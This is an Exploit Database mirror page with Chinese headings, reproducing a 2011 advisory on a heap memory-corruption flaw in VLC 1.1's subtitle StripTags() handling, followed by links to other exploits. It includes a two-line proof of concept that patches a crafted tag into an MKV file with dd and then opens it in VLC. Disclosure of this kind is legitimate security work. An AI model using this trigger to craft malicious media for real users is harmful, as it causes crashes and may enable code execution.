VideoLAN VLC Media Player 1.1 – Subtitle ‘StripTags()’ Memory Corruption

Exploit Database
122 阅读

作者： Harry Sintonen

日期： 2011-02-03
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16108/

Source:https://www.securityfocus.com/bid/46008/info

VLC media player is prone to a heap-based memory-corruption vulnerability.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

An attacker can exploit this issue by enticing an unsuspecting user to open a malicious media file containing malicious subtitles with the vulnerable application.

The following proof-of-concept commands are available:

1. echo -ne '<foo\0crashme' | dd conv=notrunc bs=1 seek=877862 \ of=refined-australia-blu720p-sample.mkv

2. vlc --sub-language English refined-australia-blu720p-sample.mkv

last Exploits
VideoLAN VLC Media Player 1.1 – Subtitle ‘StripTags()’ Memory Corruption的更多信息

JaMP Player 4.2.2.0 – Denial of Service：
Drupal < 7.34 - Denial of Service：
Apple macOS/iOS Kernel – Heap Overflow Due to Lack of Lower Size Check in getvolattrlist：
Novell Groupwise – Address Book Remote Code Execution：
Wireshark – find_signature Stack Out-of-Bounds Read：
Savy Soda Documents – Mobile Office Suite ‘.XLS’ Denial of Service：
Microsoft Office 2007 – ‘msxml5.dll’ Crash (PoC)：
Pure-FTPd 1.0.48 – Remote Denial of Service：